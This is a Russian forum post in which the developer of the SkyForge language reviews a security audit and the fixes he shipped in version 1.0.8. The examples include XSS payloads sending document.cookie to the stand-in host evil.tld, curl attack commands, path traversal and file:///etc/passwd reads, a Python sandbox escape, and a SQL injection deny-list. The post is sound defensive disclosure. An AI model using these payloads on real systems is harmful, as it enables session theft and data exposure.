ОБСУЖДЕНИЕ Заметка 

Разбор аудита своего языка: 5 критичных дыр в SkyForge и как я их закрыл за 2 часа

0 ответов 170
AI-выжимка обсуждения скоро

Краткие тезисы обсуждения со ссылками на ключевые ответы появятся здесь.

Автор темы
Контекст

SkyForge — русскоязычный язык программирования на Python. Пишу его полтора года. PyPI: skyforge-lang. Сайт: skyforge-docs.onrender.com.

Сегодня утром появился аудит — независимый разбор кода и живого развёртывания. Из 30+ находок было 5 критичных, 4 высоких и десяток средних.

К обеду всё критичное было закрыто. От первого прочтения аудита до публикации 1.0.8 на PyPI — примерно два часа. 79/79 тестов прошли после правок. Ниже — что нашлось, что я починил, а где честно расписался в бессилии.

Дисклеймер: писал не для того чтобы «мы молодцы», а как разбор своих же ошибок. Аудит был по делу, спасибо автору.


Хронология

Всё в один заход. Без «спасибо за аудит, пофиксим в следующем релизе через месяц».



ВремяЧто
T+0Прочитал аудит, выписал 5 critical + 4 high + 10 medium
T+10 минПатч core.py — C-1, C-3, C-4, C-5, H-1, H-2, H-3, M-1, M-2, M-4 (17 замен)
T+25 минПатч autorest.py — C-2 (auth + CSRF + XSS + пагинация + блокировка SQLite)
T+35 минПатч orm.py — M-3, B-8
T+40 минПатч stdlib.py — B-2, B-3, B-9, B-22
T+45 минПатч cli.py — B-5, B-6, B-20, B-21
T+50 минПатч repl.py — B-1
T+70 минПатч launcher.py — M-9, B-15 (кнопка Стоп, ложный dirty)
T+80 минПатч docs.skf — D-2, D-3, D-4
T+100 мин79/79 тестов зелёные
T+110 минpython -m build + twine upload → 1.0.8 на PyPI
T+120 минСайт обновлён до v1.0.8, EXE пересобран, коммит в GitHub
Это не рекорд — это нормальная скорость, когда есть тесты и понимаешь, где что лежит. Без 79/79 тестов я бы не рискнул выпускать правки такого масштаба за один заход.


C-1. Path traversal в раздаче статики

Нашлось в core.py:

python
for prefix, directory in app.static_dirs:
if route_path.startswith(prefix + "/") or route_path == prefix:
rel = route_path[len(prefix):].lstrip("/")
full = os.path.normpath(os.path.join(directory, rel))
if os.path.isfile(full):
with open(full, "rb") as f:
return self._send(200, ctype, f.read())
Проблема: os.path.normpath схлопывает .., но не проверяет, что результат остался внутри directory. Значит GET /static/../secret.env читает всё, что доступно процессу. У меня на локалке прошло на ура:

text
GET /static/../secret.env → 200 + содержимое
GET /static/%2e%2e%2fsecret.env → 200 (URL-кодирование не помогает)
GET /static/../../../../Windows/win.ini → 200
Фикс — одна функция:

python
def _is_within(base, target):
import os as _os
try:
base_abs = _os.path.abspath(str(base))
tgt_abs = _os.path.abspath(str(target))
base_real = _os.path.realpath(base_abs)
tgt_real = _os.path.realpath(tgt_abs)
for b in (base_abs, base_real):
for t in (tgt_abs, tgt_real):
try:
if _os.path.commonpath([b, t]) == b:
return True
except ValueError:
continue
return False
except Exception:
return False
И в статике:

python
if not _is_within(directory, full):
return self._send(403, "text/plain; charset=utf-8", "Forbidden")
Один вызов функции на запрос. Прирост производительности нулевой.


C-2. AutoREST: CRUD без авторизации + XSS в админке + CSRF

Это самый жирный пункт. У меня есть фича app.из_схемы("users (id PK, name TEXT)") — она разворачивает CRUD API + админку + OpenAPI. Красиво. Но:

  1. Ни один из маршрутов не требовал авторизации
  2. Админка склеивала HTML через f"<td>{v}</td>" без экранирования
  3. POST/PUT/DELETE принимали что угодно откуда угодно
Атакующий через curl мог:

bash
curl -X POST http://server/users -d '{"name":"<script>fetch(\"//evil.tld/\"+document.cookie)</script>"}'
curl http://server/users # увидеть все данные
curl -X DELETE http://server/users/1
И тут же посадить stored XSS в админку оператора. Что починил в 1.0.8:

Bearer-токен. Генерируется случайно через secrets.token_urlsafe(24) при старте, печатается в stdout один раз. Передаётся либо в заголовке Authorization: Bearer <token>, либо в cookie sf_autorest=<token>. Свой токен — через SKYFORGE_AUTOREST_TOKEN, отключить авторизацию — только SKYFORGE_AUTOREST_INSECURE=1 (для локальной разработки).

CSRF. POST/PUT/DELETE требуют Content-Type: application/json или X-Requested-With: XMLHttpRequest. Браузерные <form>-атаки без этих заголовков отбиваются с 403. Проверка на /users из чужого origin:

text
POST /users
Authorization: Bearer <token>
Origin: http://evil.example
Content-Type: application/x-www-form-urlencoded
→ 403 {"ошибка": "CSRF-проверка не пройдена"}
Экранирование. Все значения из БД в админке проходят через html.escape:

python
parts.append(f"<td>{esc(str(v))}</td>")
Проверка: записал в БД <script>alert(1)</script>, открыл /admin/users — в HTML вижу &lt;script&gt;alert(1)&lt;/script&gt;, alert не сработал.

Пагинация. Раньше GET /users отдавал всю таблицу. Теперь limit=100 по умолчанию, максимум 1000. Через ?limit=1000&страница=2 можно листать.

Блокировка SQLite. Было sqlite3.connect(..., check_same_thread=False) без блокировки. ThreadingHTTPServer параллелит запросы, запись могла гоняться. Обернул в класс с threading.Lock:

python
class _LockedConn:
def init(self, conn):
self._conn = conn
self._lock = threading.Lock()
def execute(self, *a, **kw):
with self._lock:
return self._conn.execute(*a, **kw)
def commit(self):
with self._lock:
return self._conn.commit()

C-4. Session secret на хардкоде

В SkyForgeApp.init было:

python
self.session_secret = "skyforge-secret-change-me"
HMAC-SHA256 для cookie считался корректно, но ключ был публично известен. Любой мог подделать cookie и стать админом в любом развёрнутом приложении, где явно не задали app.секрет_сессий("...").

Фикс:

python
self._session_secret_user_set = False
self.session_secret = _secrets.token_urlsafe(32)
Если пользователь не задал свой — генерируется случайный при каждом запуске. Сессии не переживут рестарт, зато подделать нельзя. Плюс warning в stderr при старте без явного секрета.

Обратная совместимость: если явно вызвать app.секрет_сессий("..."), работает как раньше. Если короче 16 символов — тоже warning.

Бонус: нашёл у себя же, что _save_session_cookie никогда не вызывался. Написан был, но не подключён. Сессии устанавливались — но не сохранялись между запросами. Попутно починил.


C-5. XSS в шаблонах по умолчанию

Шаблонизатор подставлял {{ имя }} через str(...) без экранирования. То есть если пользовательское значение попадает в шаблон — XSS.

text
шаблон: <div>Привет, {{ имя }}!</div>
данные: <script>fetch('//evil.tld/?c='+document.cookie)</script>
итог: <div>Привет, <script>fetch(...)</script>!</div>
Фикс: html.escape по умолчанию, | безопасно для явно доверенного HTML:

python
if src.endswith("| безопасно") or src.endswith("|безопасно"):
raw = True
src = src.rsplit("|", 1)[0].rstrip()
...
if raw:
return str(value)
return _html.escape(str(value), quote=True)
Всё, что от пользователя — экранируется. Всё, что от автора шаблона (меню, layout) — помечается | безопасно.

Как я на этом сам же налетел. После включения html.escape мой сайт документации начал показывать HTML как текст — потому что {{ содержимое }} и {{ меню }} тоже стали экранироваться. Пришлось пометить четыре переменные | безопасно. Классический пример, что «безопасность постфактум» ломает всё.


Что починил из High и Medium (без деталей)

  • H-1 — http_запрос("file:///etc/passwd") читал локальные файлы. Добавил allowlist схем: только http:// и https://.
  • H-2 — редирект() возвращал кортеж (302, "Location", url), который превращался в Content-Type: Location без заголовка Location. Редирект не работал. Починил через внутренний объект _Redirect, который _send_result правильно интерпретирует.
  • H-3 — cookie ставились без SameSite, без Secure, _save_session_cookie вообще не вызывался.
  • M-1 — вычислить("9**9999999") вис на 12 секунд. Добавил лимит степени 10 000 и запрет вложенной a**b**c.
  • M-3 — где('1=1 UNION SELECT ...') пускал любые запросы. Добавил чёрный список (UNION, ;, --, /*, DDL/DML) и валидацию имён полей в хелперах.
  • M-4 — path traversal в app.страница("../outside.html"). Тот же _is_within.
  • B-2, B-3 — месяцродительный(13) падал с IndexError, обрезатьдо("abcdefghij", 2) возвращал "abcdefghi..." (12 символов при лимите 2).
  • B-9 — соль PBKDF2 была 8 байт, стала 16 (NIST SP 800-132).
  • M-9 — в GUI-лаунчере кнопка «Стоп» посылала os.kill(os.getpid(), 2). На Windows это PermissionError, на POSIX убивало всё окно. Заменил на мягкую остановку сервера через флаг.

Что НЕ закрыл и не буду

C-3: побег из вычислить через мост в Python.
Это не баг, это архитектура. SkyForge — это Python с русским синтаксисом. лог.globals["os"].popen("whoami").read() работает — и всегда будет работать. вычислить() сам по себе изолирован (whitelist AST, пустые builtins), но весь остальной язык — unrestricted. Я убрал из документации слово «безопасный eval», теперь там честно:

вычислить — не песочница для недоверенного кода. Защищает от DoS через **, но не изолирует.
Настоящая песочница требует отдельного процесса с ограничением syscalls — seccomp на Linux, Job Objects на Windows. Это не в 1.x.

Отсутствие публичного репо ядра. Тоже правда — исходники были только в sdist на PyPI, на GitHub лежала документация. Исправил на этой неделе, код теперь в публичном репо.


Что осталось непочиненным

  • D-2 в docs.skf — сайт документации отдаёт свой же исходник через catch-all. Пофиксил allowlist'ом расширений (.html, .css, .js, .txt, .xml, .json, .svg, .ico). Сейчас GET /docs.skf → 403.
  • D-5 — playground.html тянет Pyodide с jsdelivr без SRI. Оставил как есть — там нет ничего пользовательского.
  • Пара мелочей из низкого приоритета.

Проверки после фиксов

79/79 тестов проходят. Отдельно проверил каждую критичную находку на PoC:

До и после



#УязвимостьБылоСтало
C-1Path traversal в статикеGET /static/../secret.env → 200 + содержимое403
C-2AutoREST без authGET /users без токена → 200 + все данные401
C-2XSS в админке<script> в БД → выполняется&lt;script&gt;
C-2CSRFPOST с Origin: evil.example → 200403
C-4Session secretПодделка cookie ключом "skyforge-secret-change-me" → 200401
C-5XSS в шаблоне<script> в {{ имя }} → выполняется&lt;script&gt;
H-1SSRF/LFIhttp_запрос("file:///etc/passwd") → содержимоеValueError
M-1DoSвычислить("9**9999999") → 12 секунд CPUValueError

Что вынес из этой истории

  1. Песочница на Python — миф. Если язык использует exec или ast, любой обход через dunder-атрибуты рано или поздно найдётся. Либо настоящая изоляция процесса, либо не называть это песочницей.
  2. Безопасность постфактум ломает всё. html.escape по умолчанию сломал мне собственный сайт. Всё, что работает годами, перестаёт работать, когда включаешь защиту. Хорошо ещё, что есть тесты.
  3. Одна строка в конфиге опаснее, чем 500 строк кода. session_secret = "skyforge-secret-change-me" — это одна строка, но она открывает подделку сессий во всех развёртываниях.
  4. Стандартная библиотека Python небезопасна по умолчанию. urllib.urlopen ест file://, os.path.normpath не защищает от traversal, sqlite3.connect(check_same_thread=False) без блокировки даёт гонку. Всё это надо явно закрывать.
  5. Аудит от незнакомого человека — это подарок. Не «наезд», не «пиар», а подарок. Нашлось то, что сам бы никогда не увидел.
  6. Тесты — это то, что позволяет быстро. Если бы у меня не было 79 тестов, я бы правил core.py неделю. С тестами я могу тронуть 17 мест в одном файле за 10 минут и быть уверенным, что не сломал ничего другого. Тесты — не «для галочки», это ускоритель разработки.
  7. Отвечать за свой код — это часть работы. Не «спасибо, пофиксим когда-нибудь», а «вот патч, вот проверки, приди ещё». Чем быстрее реагируешь, тем больше доверия.

Ссылки


Вопрос

Кто-нибудь пробовал сделать настоящую песочницу для языка на Python? Интересуют подходы: subprocess + seccomp, gVisor, Firecracker, что-то ещё. Пока отложил C-3 в долгий ящик, но хочу понимать, куда копать, если решу взяться всерьёз.

И если кто-то найдёт ещё что-то в 1.0.8 — пишите в issue или сюда. Отвечаю.